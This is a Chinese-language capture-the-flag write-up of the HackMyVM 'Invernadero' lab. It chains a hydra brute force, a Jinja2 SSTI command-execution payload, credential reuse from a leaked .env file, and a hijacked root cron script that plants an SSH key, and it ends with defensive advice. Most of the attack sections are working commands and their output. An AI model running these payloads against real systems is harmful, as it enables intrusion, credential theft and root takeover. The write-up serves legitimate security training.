HackMyVM Invernadero 通关记录|Flask SSTI 到 Docker 逃逸与 cron 提权
靶机链接:Invernadero
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Invernadero | 192.168.1.107 | Alpine Linux 3.24.1(Linux 6.18.42-0-lts),主机名 server1 / server1.lan |
靶机共三枚 Flag:容器内 user.txt、宿主机用户目录 user.txt、宿主机 /root/root.txt。
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、53/tcp Unbound、80/tcp Apache 2.4.68、8080/tcp Werkzeug 3.1.8 | 定位唯一有业务逻辑的入口是 8080 端口 |
| Web 指纹 | 8080 返回 302 → /login,标题 IoT Dashboard,语言为西班牙语 | 识别为 Flask IoT 后台,缩小爆破面 |
| 弱口令 | hydra 单线程命中 admin : admin123(第 12 次尝试) | 拿到后台管理员会话 |
| 漏洞定位 | /alerts 表单字段 mensaje_custom 提示“可使用 Jinja 变量” | 直接暴露 Jinja2 模板注入面 |
| SSTI 验证 | 提交 {{7*7}},/alerts 回显 Vista previa: 49 | 确认服务端模板被当作代码执行 |
| 容器内 Flag | {{lipsum.__globals__.os.popen('cat /app/user.txt').read()}} | 取得 Flag 1,并确认进程身份 uid=100(operador) |
| 凭据收割 | 读取 /app/.env 得到 MQTT_USER / MQTT_PASSWORD | 拿到可能被复用的明文口令 |
| 容器逃逸 | sshpass 用 MQTT 口令登录宿主机 admin_invernadero | 从容器跳到宿主机并取得 Flag 2 |
| 提权 | /opt/invernadero/backup_logs.sh 组可写,root 每分钟 cron 执行 | 注入载荷后约 1 分钟获得 root 权限 |
| 最终成果 | uid=0(root),读取 /root/root.txt | 取得 Flag 3,靶机完全失陷 |
0x02 侦察与信息收集 (Reconnaissance)
1. 主机发现与端口扫描
在 Kali 上先确认连通性,再用 RustScan 联动 Nmap 全端口扫描:
ping -c 2 192.168.1.107
rustscan -a 192.168.1.107 --ulimit 5000 --timeout 2000 --tries 1 -g
输出:
PING 192.168.1.107 (192.168.1.107) 56(84) bytes of data.
64 bytes from 192.168.1.107: icmp_seq=1 ttl=64 time=5.22 ms
192.168.1.107 -> [22,53,80,8080]
Flask 开发服务器抗并发差,-sC 默认脚本容易把 8080 打挂并导致 filtered 误报,因此拆两步:先定 open,再定版本:
nmap -sT -Pn -sC -sV 在本靶机上曾使 22/80/8080 显示 filtered,而应用层 nc/curl 始终证明端口开放;去掉 -sC 后稳定全 open。
如只需确认存活,下面第一条带 --reason 的命令已足够。
nmap -sT -Pn -T4 -p22,53,80,8080 --reason 192.168.1.107
nmap -sT -Pn -T4 -sV -p22,53,80,8080 192.168.1.107 -oN nmap_initial.txt
关键扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
53/tcp open domain Unbound
| dns-nsid:
| NSID: ewr01 (6577723031)
|_ id.server: ewr01
80/tcp open http Apache httpd 2.4.68 ((Unix))
|_http-server-header: Apache/2.4.68 (Unix)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: It works! Apache httpd
8080/tcp open http Werkzeug httpd 3.1.8 (Python 3.9.25)
| http-title: IoT Dashboard
|_Requested resource was /login
|_http-server-header: Werkzeug/3.1.8 Python/3.9.25
其中 8080 的 Werkzeug 头是关键信号:这是 Flask 自带的开发服务器,通常意味着业务代码存在可交互的模板与逻辑,优先级高于另外三个端口。
2. DNS 枚举(53/tcp+udp)
53 上的 Unbound 首次测试是权威解析器(返回 aa 标志),先确认正反向解析与区域传送:
dig @192.168.1.107 server1.lan +noall +answer +comments
dig @192.168.1.107 -x 192.168.1.107 +short
dig @192.168.1.107 lan AXFR +time=3 +tries=1
dig @192.168.1.107 nsid.server chaos txt +short
输出:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8886
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; ANSWER SECTION:
server1.lan. 0 IN A 192.168.1.107
server1.lan.
; Transfer failed.
"ewr01"
结论:首次测试域名仅 server1.lan 一条 A 记录、PTR 正常、AXFR 被拒绝、不存在泛解析,lan 区域无法拖取。DNS 侧没有可利用的横向入口。
server1.lan与 PTR 现返回NXDOMAIN(无aa标志),权威区疑似已失效。nmap -sU曾误报53/udp closed,但dig @192.168.1.107 google.com +short经 UDP 仍可正常递归。dig chaos NSID现为REFUSED,而nmap --script dns-nsid对 TCP 仍可看到ewr01。
以上差异不阻塞后续链条,读者对不上不必停留。
3. Web 指纹(80/tcp)
curl -s -D - http://192.168.1.107/ --max-time 10
whatweb -v http://192.168.1.107/
curl 响应头:
HTTP/1.1 200 OK
Server: Apache/2.4.68 (Unix)
Content-Length: 191
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>It works! Apache httpd</title>
WhatWeb 指纹:
WhatWeb: Apache[2.4.68], HTTPServer[Unix][Apache/2.4.68 (Unix)]
80 端口是 Apache 默认占位页,http-methods 提示开放 TRACE,但既无目录也无应用,继续深入的价值很低。侦察重心全部转到 8080。
0x03 初始访问:Flask 后台弱口令 (Initial Foothold)
1. 8080 应用指纹
curl -s -D - http://192.168.1.107:8080/ --max-time 10
curl -s -D headers_login.txt -o login.html http://192.168.1.107:8080/login --max-time 10
输出:
HTTP/1.1 302 FOUND
Server: Werkzeug/3.1.8 Python/3.9.25
Location: /login
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.9.25
Content-Length: 2402
登录页为西班牙语 IoT 控制台(Invernadero IoT,标题 IoT Dashboard),表单只提交两个参数:
<form method="POST">
<label>Usuario</label>
<input type="text" name="username" placeholder="Ingrese su usuario" required>
<label>Contraseña</label>
<input type="password" name="password" placeholder="Ingrese su contraseña" required>
<button type="submit">Iniciar sesión</button>
</form>
登录失败时页面长度固定为 2585 字节,并渲染固定文案,可作为爆破的失败特征:
<div class="mensaje-error">
Usuario o contraseña incorrectos.
</div>
2. 单线程弱口令爆破
该靶机运行的是 Flask 开发服务器(单进程、默认线程模型),并发过高会直接把服务打挂,因此全程保持单线程并加延时:
printf '%s\n' admin password 123456 1234 12345 invernadero esp32 iot greenhouse \
plantas password123 admin123 usuario toor root letmein qwerty > pass_small.txt
hydra -l admin -P pass_small.txt -t 1 -w 10 -W 5 -f -V -s 8080 192.168.1.107 \
http-post-form "/login:username=^USER^&password=^PASS^:Usuario o contrase" \
-o hydra_result.txt
输出:
[DATA] max 1 task per 1 server, overall 1 task, 17 login tries (l:1/p:17)
[DATA] attacking http-post-form://192.168.1.107:8080/login:username=^USER^&password=^PASS^:Usuario o contrase
[ATTEMPT] target 192.168.1.107 - login "admin" - pass "admin" - 1 of 17 [child 0] (0/0)
[ATTEMPT] target 192.168.1.107 - login "admin" - pass "password" - 2 of 17 [child 0] (0/0)
...
[STATUS] 6.00 tries/min, 12 tries in 00:02h, 5 to do in 00:01h, 1 active
[8080][http-post-form] host: 192.168.1.107 login: admin password: admin123
1 of 1 target successfully completed, 1 valid password found
第 12 次尝试命中 admin : admin123。验证会话有效性:
curl -s -c cookies.txt -D headers_post.txt -o /dev/null \
-X POST -d 'username=admin&password=admin123' http://192.168.1.107:8080/login --max-time 10
curl -s -b cookies.txt http://192.168.1.107:8080/ --max-time 10 | grep -E 'username-text|Rol'
curl -s -b cookies.txt http://192.168.1.107:8080/api/sensores --max-time 10
输出:
HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...; HttpOnly; Path=/
username-text">admin
Rol: admin
{"humedad":0,"luz":0,"rssi":0,"temperatura":0}
已获得 admin 角色的后台会话。顺便说明:该口令不是“巧合”,应用初始化代码里本来就硬编码了默认账号——
# /app/init.py
admin = Usuario(username="admin", password=generate_password_hash("admin123"), rol="admin")
usuario = Usuario(username="usuario", password=generate_password_hash("usuario123"), rol="user")
3. 后台功能枚举
后台共有三个可用页面,其中 /alerts(告警规则配置)具备写操作:
| 路由 | 状态 | 说明 |
|---|---|---|
/ | 200 | 仪表盘,前端 fetch('/api/sensores') 拉取温湿度数据 |
/sens | 200 | 统计页,提供 /api/exportar/lecturas、/api/exportar/alertas、/api/historial |
/alerts | 200 | 告警规则配置(admin_required),含自定义消息模板表单 |
/logout | 302 | 注销 |
/alerts 的表单里有一段非常直白的注释和提示:
<form action="/guardar_alerta" method="POST">
<!-- FORMATO DE MENSAJE (Vector de Inyección) -->
<input class="textbox" type="text" name="mensaje_custom" placeholder="Ej: Peligro en el sensor " required>
<small>Personalice su alerta usando variables Jinja como {{ sensor }}</small>
“可用 Jinja 变量”意味着用户输入会被 Jinja2 引擎渲染——这是模板注入的典型入口。
0x04 容器内 RCE:Jinja2 SSTI (Initial Access → Container)
1. SSTI 确认
ssti_rce.py 跟随 POST /guardar_alerta → 302 → /alerts 的一次跳转直接取 flash 回显,内置请求间隔。下面先用计算表达式验证 SSTI。
每次提交都会在 SQLite 新增一条规则,且命令先于回显执行。重复提交会重复落库,也会重复执行命令,请保持低频操作。
脚本默认不自动重发;仅在确认探针幂等时,才使用 --retry 重试。
python3 ssti_rce.py -t 192.168.1.107 -p '{{7*7}}'
# [+] 回显: 49
手工 curl 示意(理解原理用):Flask flash 在请求结束时写入、仅在下一次请求中可读(见 Flask Flashing 文档),因此取回显必须跟随 302 Location: /alerts 跳转一次。两种等价写法,按需二选一:
- 五个字段分开使用
--data-urlencode,避免&、>、{{ }}被 shell 或 URL 解析破坏;zsh 下建议noglob。 val取不同数值仅为区分各次提交、方便回查,无去重要求。
# 方式 A:curl 自动跟随(-L),回显直接出现在本次命令输出里,无需再 GET
curl -s -L -b cookies.txt -c cookies.txt -D ssti_h.txt \
--data-urlencode 'mensaje_custom={{7*7}}' \
--data-urlencode 'sensor=luz' \
--data-urlencode 'condicion=>' \
--data-urlencode 'val=101' \
--data-urlencode 'envio_de_datos=telegram' \
http://192.168.1.107:8080/guardar_alerta --max-time 15 | grep -o 'Vista previa[^<]*'
# 此时 flash 已被消费,再手动 GET /alerts 应为空(可用作“已消费”验证)
# 方式 B:不跟随,手动 GET 一次(该 GET 即第一次消费,不是“二次 GET”)
sleep 1
curl -s -b cookies.txt -c cookies.txt -D ssti_h.txt \
--data-urlencode 'mensaje_custom={{7*7}}' \
--data-urlencode 'sensor=luz' \
--data-urlencode 'condicion=>' \
--data-urlencode 'val=101' \
--data-urlencode 'envio_de_datos=telegram' \
http://192.168.1.107:8080/guardar_alerta --max-time 15
# 上条返回 302 Location: /alerts,本体仅为 Redirecting…,无回显
sleep 2
curl -s -b cookies.txt -c cookies.txt -o alerts2.html http://192.168.1.107:8080/alerts --max-time 15
grep -o 'Vista previa[^<]*' alerts2.html
输出(两段分别来自两次响应,不要混读):
# POST 本次响应头(两种方式都有):本体仅为 Redirecting…,无回显
HTTP/1.1 302 FOUND
Location: /alerts
<!-- 跟随跳转后的 GET /alerts 响应体(方式 A 由 -L 自动取,方式 B 由手动 GET 取): -->
<div class="mensaje-ok">
Regla guardada. Vista previa: 49
</div>
7*7 被求值为 49,SSTI 确认。
2. 漏洞成因
通过 SSTI 直接读出对应源码即可定位根因:
# /app/routes.py (第 148 行起)
def guardar_alerta():
sensor = request.form["sensor"]
condicion = str(request.form["condicion"])
valor = float(request.form["val"])
envdata1 = str(request.form["envio_de_datos"])
# Nuevo parámetro vulnerable
mensaje_custom = request.form.get("mensaje_custom", "Alerta generada")
tipo_envio = "discord" if envdata1.startswith("https://discord.com") else "telegram"
# VULNERABILIDAD SSTI: El input crudo pasa directamente al motor de Jinja
try:
mensaje_procesado = render_template_string(mensaje_custom, sensor=sensor, condicion=condicion)
except Exception as e:
mensaje_procesado = "Error de sintaxis en plantilla"
render_template_string() 把用户可控字符串当作模板源码编译执行,而不是当作模板变量传入,因此 {{ ... }} 内的 Python 表达式会被直接求值。
3. 从 SSTI 到命令执行
Jinja2 的 lipsum 是一个全局函数,其 __globals__ 指向 jinja2.utils 模块的全局命名空间,其中包含被导入的 os 模块,于是可以直接拿到命令执行能力。可直接使用文末附带的 ssti_rce.py 脚本执行,亦可在 curl 中提交 mensaje_custom 参数:
# 方式 1:调用配套脚本执行(推荐)
python3 ssti_rce.py -t 192.168.1.107 -c 'id'
# 方式 2:使用 curl 完整提交(需 -L 跟随 302,或提交后再 GET /alerts 取 Vista previa)
curl -s -L -b cookies.txt -c cookies.txt \
--data-urlencode "mensaje_custom={{lipsum.__globals__.os.popen('id').read()}}" \
--data-urlencode 'sensor=luz' --data-urlencode 'condicion=>' \
--data-urlencode 'val=101' --data-urlencode 'envio_de_datos=telegram' \
http://192.168.1.107:8080/guardar_alerta --max-time 15
输出:
Regla guardada. Vista previa: uid=100(operador) gid=65533(nogroup) groups=65533(nogroup),65533(nogroup)
Web 进程运行在容器内的非特权用户 operador 上。
4. 读取容器内 Flag 与敏感文件
为了减少请求次数,把多条命令串在一次注入中执行:
# 调用脚本执行组合命令读取 Flag 与环境配置
python3 ssti_rce.py -t 192.168.1.107 -c 'cat /app/user.txt; echo ---ENV---; cat /app/.env'
输出:
flag{rce_ssti_conseguido}
---ENV---
SECRET_KEY=tu_nueva_clave_secreta_super_segura
TELEGRAM_TOKEN=
TELEGRAM_CHAT_ID=
ESP32_API_KEY=
MQTT_BROKER=172.17.0.1
MQTT_USER=admin_invernadero
MQTT_PASSWORD=admin_invernadero123
取得 Flag 1:flag{rce_ssti_conseguido}(容器 /app/user.txt)。
同时 /app/.env 泄露了两类重要信息:
SECRET_KEY=tu_nueva_clave_secreta_super_segura:Flask 会话签名密钥为弱口令,可伪造任意用户会话;MQTT_USER / MQTT_PASSWORD:MQTT Broker 的明文账号口令,且MQTT_BROKER=172.17.0.1指向 Docker 默认网桥的宿主机地址,暗示这份凭据是为宿主机服务准备的。
5. 容器环境判定
使用脚本探测容器标志文件与特权约束:
python3 ssti_rce.py -t 192.168.1.107 -c 'ls -la /.dockerenv; grep -E "CapEff|Seccomp" /proc/self/status; ls -la /var/run/; hostname'
输出:
-rwxr-xr-x 1 root root 0 Aug 30 13:43 /.dockerenv
CapEff: 0000000000000000
Seccomp: 2
total 12
drwxr-xr-x 3 root root 4096 Oct 8 2025 .
drwxr-xr-x 1 root root 4096 Oct 8 2025 ..
drwxr-xr-x 2 root root 4096 Oct 8 2025 lock
b8dde17535e7
判定结论:
/.dockerenv存在 → 当前处于 Docker 容器中;CapEff: 0000000000000000→ 进程零能力位,没有CAP_SYS_ADMIN、CAP_DAC_READ_SEARCH等可用于逃逸的能力;Seccomp: 2+Seccomp_filters: 1→ 启用过滤模式 seccomp,危险系统调用被拦;/var/run/下只有lock,没有docker.sock→ 无法通过 Docker API 逃逸。
因此容器内部本身没有逃逸原语,突破点只能在凭据上——这正是 /app/.env 中 MQTT 口令的价值。
容器的构建配置也印证了这一点(/app/Dockerfile):
FROM python:3.9-alpine
RUN adduser -S -D -H -h /app -s /sbin/nologin operador
RUN chown -R operador:root /app && \
chmod -R 755 /app && \
chmod 777 /app/instance
USER operador
EXPOSE 5000
CMD ["python", "app.py"]
容器内还留有一句提示文件 /app/README.txt:
felcidades lograste ejecucion por medio de una stti, el paso a seguir es salir
del docker o leer archivos desde el docker, ademas de python que mas
corre en docker?
“除了 Python,容器里还跑着什么?”——指向的正是 MQTT 客户端与它使用的凭据。
0x05 容器逃逸:凭据复用登录宿主机 (Container Escape)
1. 口令复用验证
MQTT_USER=admin_invernadero 与 MQTT_PASSWORD=admin_invernadero123 直接复用到宿主机 SSH:
sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no \
admin_invernadero@192.168.1.107 'id; hostname; cat /etc/os-release | head -3; uname -a'
输出:
uid=1002(admin_invernadero) gid=1002(admin_invernadero) groups=1002(admin_invernadero)
server1
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.24.1
Linux server1 6.18.42-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2026-08-05 07:53:12 x86_64 Linux
容器逃逸成功:从容器内的 Web 进程直接获得了宿主机的低权限 Shell。
2. 宿主机用户 Flag
sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no \
admin_invernadero@192.168.1.107 'pwd; ls -la; cat ~/user.txt'
输出:
/home/admin_invernadero
total 20
drwxr-sr-x 2 admin_invernadero admin_invernadero 4096 Aug 29 23:12 .
drwxr-xr-x 3 root root 4096 Aug 29 23:28 ..
-rw------- 1 admin_invernadero admin_invernadero 1082 Aug 29 23:12 .ash_history
-rw------- 1 admin_invernadero admin_invernadero 1399 Aug 29 23:12 .bash_history
-rw-r--r-- 1 admin_invernadero admin_invernadero 35 Aug 29 22:25 user.txt
flag{escape_de_contenedor_exitoso}
取得 Flag 2:flag{escape_de_contenedor_exitoso}(宿主机 /home/admin_invernadero/user.txt)。
0x06 宿主机提权:组可写 cron 脚本 (Privilege Escalation)
1. 常规枚举(全部走不通)
sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'sudo -l; ls -la /etc/crontabs/; find / -perm -4000 -type f 2>/dev/null; cat /etc/doas.conf /etc/doas.d/* 2>&1'
输出:
sudo: a terminal is required to read the password; either use ssh's -t option or configure an askpass helper
total 12
drwxr-xr-x 2 root root 4096 Aug 9 19:41 .
drwxr-xr-x 45 root root 4096 Sep 9 03:37 ..
-rw------- 1 root root 98 Aug 29 22:48 root
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chage
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/doas
/usr/bin/expiry
/usr/bin/gpasswd
/usr/local/bin/find
/usr/sbin/suexec
/bin/bbsuid
cat: can't open '/etc/doas.conf': Permission denied
permit persist :wheel
逐个排除:
sudo需要密码,且当前用户不在 sudoers;/etc/crontabs/root权限600,无法读取 root 的定时任务;- SUID 清单里的
/usr/local/bin/find值得注意,但它是 BusyBox 版find,BusyBox 会主动丢弃提权后的特权,实测无法用-exec提权; doas规则:主配置/etc/doas.conf对当前用户不可读(Permission denied),而补充配置/etc/doas.d/20-wheel.conf可读且内容为permit persist :wheel,仅对wheel组生效,当前用户不在该组中。
2. 发现组可写的 cron 脚本
转向应用目录,问题立刻暴露:
sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'ls -la /opt/; ls -la /opt/invernadero/; cat /opt/invernadero/backup_logs.sh'
输出:
drwxrwxr-x 2 root root 4096 Aug 29 22:46 invernadero
drwxr-xr-x 5 root root 4096 Aug 29 23:40 proyecto_invernadero
total 12
drwxrwxr-x 2 root root 4096 Aug 29 22:46 .
drwxr-xr-x 5 root root 4096 Aug 29 22:46 ..
-rwxrwxr-x 1 root admin_invernadero 347 Aug 29 23:51 backup_logs.sh
#!/bin/sh
# Sistema de respaldo automático de logs MQTT
# Ejecutado cada minuto por cron (root)
LOGDIR="/var/log/mqtt"
BACKUPDIR="/var/backups/mqtt"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
mkdir -p "$BACKUPDIR"
tar -czf "$BACKUPDIR/logs_$TIMESTAMP.tar.gz" "$LOGDIR" 2>/dev/null
echo "Backup ejecutado en $TIMESTAMP" >> /var/log/invernadero_backup.log
三个条件同时成立,构成完整的本地提权原语:
- 脚本属主是
root,属组是admin_invernadero(当前用户所在组); - 权限位
-rwxrwxr-x—— 组可写,当前用户可以直接改写脚本内容; - 脚本头上的注释明确写着“由 cron 以 root 身份每分钟执行”。
而 /etc/crontabs/root 虽然不可读,但运行中的 crond 与日志时间戳可以侧证该任务确实存在且在持续触发:
# 提权后读取到的 root crontab
# Tarea de backup de logs del invernadero - cada minuto
* * * * * /opt/invernadero/backup_logs.sh
# /var/log/invernadero_backup.log 每分钟一条
Backup ejecutado en 20260910_034200
Backup ejecutado en 20260910_034300
Backup ejecutado en 20260910_034400
3. 注入载荷并等待 root 执行
旧结果多为 root 属主,/tmp sticky 下普通用户可能删不掉,因此下面的 rm -f 允许失败。
后续等待循环通过 -nt 时间戳检查,只认可新于本次时间戳的结果;不要把历史残留当成本次执行成功的证据。
先备份原文,清掉上次旧结果并立时间戳,再向脚本追加命令(追加内容以 root 身份运行,因此 id 回显即为 root):
sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'set -u
if grep -qF "# --- reproduction marker (authorized lab test) ---" /opt/invernadero/backup_logs.sh 2>/dev/null; then
echo "[-] 已有载荷残留,请先恢复后再注入"; exit 1
fi
cp /opt/invernadero/backup_logs.sh /tmp/backup_logs.sh.orig || exit 1
rm -f /tmp/pwnid.txt /tmp/rootflag.txt 2>/dev/null
touch /tmp/.invernadero_stamp
cat >> /opt/invernadero/backup_logs.sh <<'"'"'EOF'"'"'
# --- reproduction marker (authorized lab test) ---
id > /tmp/pwnid.txt 2>&1
cat /root/root.txt > /tmp/rootflag.txt 2>&1
chmod 644 /tmp/pwnid.txt /tmp/rootflag.txt 2>/dev/null
EOF'
等待下一个整分钟(cron 每分钟触发一次,只认可新鲜结果):
for i in $(seq 1 15); do
sleep 10
if sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'test /tmp/pwnid.txt -nt /tmp/.invernadero_stamp 2>/dev/null && grep -q "^uid=0" /tmp/pwnid.txt 2>/dev/null'; then
R=$(sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'cat /tmp/pwnid.txt 2>/dev/null; echo "|"; cat /tmp/rootflag.txt 2>/dev/null')
echo "[$((i*10))s] $R" | tr '\n' ' '; echo; break
fi
echo "[$((i*10))s] 尚未执行(旧残留已按时间戳过滤)"
done
输出:
[10s] |
[20s] |
[30s] |
[40s] uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) | flag{root_invernadero_comprometido}
约 40 秒后载荷以 root 身份执行。落盘证据文件属主为 root,可确认执行者身份而非时间戳伪造:
-rw-r--r-- 1 root root 138 Sep 10 03:43 /tmp/pwnid.txt
-rw-r--r-- 1 root root 36 Sep 10 03:43 /tmp/rootflag.txt
取得 Flag 3:flag{root_invernadero_comprometido}(宿主机 /root/root.txt)。
4. 升级为交互式 root Shell
受控命令执行已经等价于 root,但为了拿到真实交互式 Shell,用同一注入点投递 SSH 公钥:
ssh-keygen -t ed25519 -f ./inv_root_key -N '' -C 'invernadero-repro'
PUB=$(cat inv_root_key.pub)
sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
"cat /tmp/backup_logs.sh.orig > /opt/invernadero/backup_logs.sh && \
cat >> /opt/invernadero/backup_logs.sh <<'EOF'
# --- ssh key (authorized lab test, remove after use) ---
mkdir -p /root/.ssh
echo '$PUB' >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys
EOF"
等待下一次 cron 触发后登录:
ssh -i inv_root_key -F /dev/null -o StrictHostKeyChecking=no root@192.168.1.107 'id; hostname; cat /root/root.txt'
输出:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
server1
flag{root_invernadero_comprometido}
至此获得真实 uid=0(root) 交互式 Shell。
0x07 最终成果 (Final Flags)
Container Flag
- 路径: 容器
/app/user.txt - 内容:
flag{rce_ssti_conseguido}
User Flag
- 路径: 宿主机
/home/admin_invernadero/user.txt - 内容:
flag{escape_de_contenedor_exitoso}
Root Flag
- 路径: 宿主机
/root/root.txt - 内容:
flag{root_invernadero_comprometido}
凭据与阶段成果汇总
| 项目 / 阶段 | 凭据或结果 | 说明 |
|---|---|---|
| Web 后台弱口令 | admin / admin123 | /app/init.py 硬编码默认管理员,hydra 第 12 次尝试命中 |
| Flask SECRET_KEY | tu_nueva_clave_secreta_super_segura | /app/.env 泄露,可伪造会话 Cookie |
| MQTT 凭据 | admin_invernadero / admin_invernadero123 | /app/.env 泄露,MQTT_BROKER=172.17.0.1 指向宿主机 |
| SSTI RCE | render_template_string(mensaje_custom) | 容器内 uid=100(operador) 命令执行 |
| Container Flag | /app/user.txt | 经 SSTI 读取 |
| 容器逃逸 | SSH 口令复用 | 从容器 Web 进程直接登录宿主机低权限用户 |
| User Flag | /home/admin_invernadero/user.txt | SSH 登录后直接读取 |
| 提权原语 | /opt/invernadero/backup_logs.sh | 属组 admin_invernadero 可写,root 每分钟 cron 执行 |
| Root Shell | uid=0(root) | 注入载荷后约 40 秒以 root 执行,或投递 SSH 公钥换取交互式 Shell |
| Root Flag | /root/root.txt | 提权后读取 |
0x08 复盘与防御建议
1. 攻击链关键节点
| 环节 | 缺陷本质 | 修复方向 |
|---|---|---|
| 初始入口 | render_template_string() 直接编译用户输入 | 用户输入只能作为模板变量传入,禁止拼进模板源码;必要时用 SandboxedEnvironment |
| 后台弱口令 | 源码硬编码默认账号 admin/admin123 | 首次启动强制改密,禁止在代码中写默认凭据 |
| 凭据泄露 | .env 与业务代码同目录且可被 Web 进程读取 | 秘密交由 Secret Manager / 容器 Secret 注入,文件权限最小化 |
| 凭据复用 | MQTT 口令与宿主机 SSH 口令相同 | 每项服务独立凭据,禁止跨边界复用 |
| 提权 | root 的 cron 任务调用用户组可写的脚本 | cron 调用的脚本与目录属主 root、权限 755,禁止组/其他用户写 |
| 容器加固 | 未挂载 docker.sock、零能力位(这两点做对了) | 继续保持;另建议非 root 运行 + 只读根文件系统 + 网络策略限制出站 |
2. 关键教训
- Flask 开发服务器不能暴露在生产网络:
Werkzeug/3.1.8 Python/3.9.25这个响应头一眼就能确认技术栈,且开发服务器单进程、抗并发能力极差,靶机在目录爆破并发较高时曾直接失去响应。 {{ }}出现在表单提示里就是高危信号:应用主动告诉用户“可使用 Jinja 变量”,等价于把注入点写在脸上。遇到这类提示应当第一时间验证{{7*7}}。- 容器内拿不到特权时,转身看凭据:
CapEff=0、无docker.sock、seccomp 开启,容器内确实无逃逸原语;但.env里的 MQTT 口令直接复用到宿主机 SSH,比任何内核漏洞都更快。 - SUID 不总是能用:
/usr/local/bin/find看似是经典提权点,但 BusyBox 版本会主动丢弃特权;而/etc/crontabs/root不可读也不代表没有 cron——/var/log/invernadero_backup.log每分钟一条记录,就是最直接的侧证。 - 组可写的高权限脚本是“慢速 root”:不需要竞争条件,只需要等一个整分钟。
0x09 附件脚本
| 文件 | 说明 |
|---|---|
| ssti_rce.py | 自动登录、提交 SSTI 请求并解析命令回显 |
| cron_hijack.sh | 备份并改写 cron 脚本、回收执行结果,支持还原 |
脚本说明:
ssti_rce.py:提交mensaje_custompayload,并从 POST 重定向响应(flash 提示)中解析Vista previa回显;内置请求间隔,用于容器内单命令执行与源码读取。回显缺失时默认不自动重发(服务端先执行后返回,重发会重复落库与重复执行),仅幂等探针可加--retry重试一次。cron_hijack.sh:备份并改写组可写的 cron 脚本,等待 root 执行后回收结果,并支持--restore还原原始脚本。注入前清理旧结果并以时间戳文件界定本次运行,仅认可新于注入起点且含uid=0的结果,避免历史残留误报;重复注入会被 marker 拦截。--restore先验备份可读非空并cmp一致后再清理,退出码区分:0=脚本+结果全清,2=脚本已恢复但 root 结果文件需 root 另清。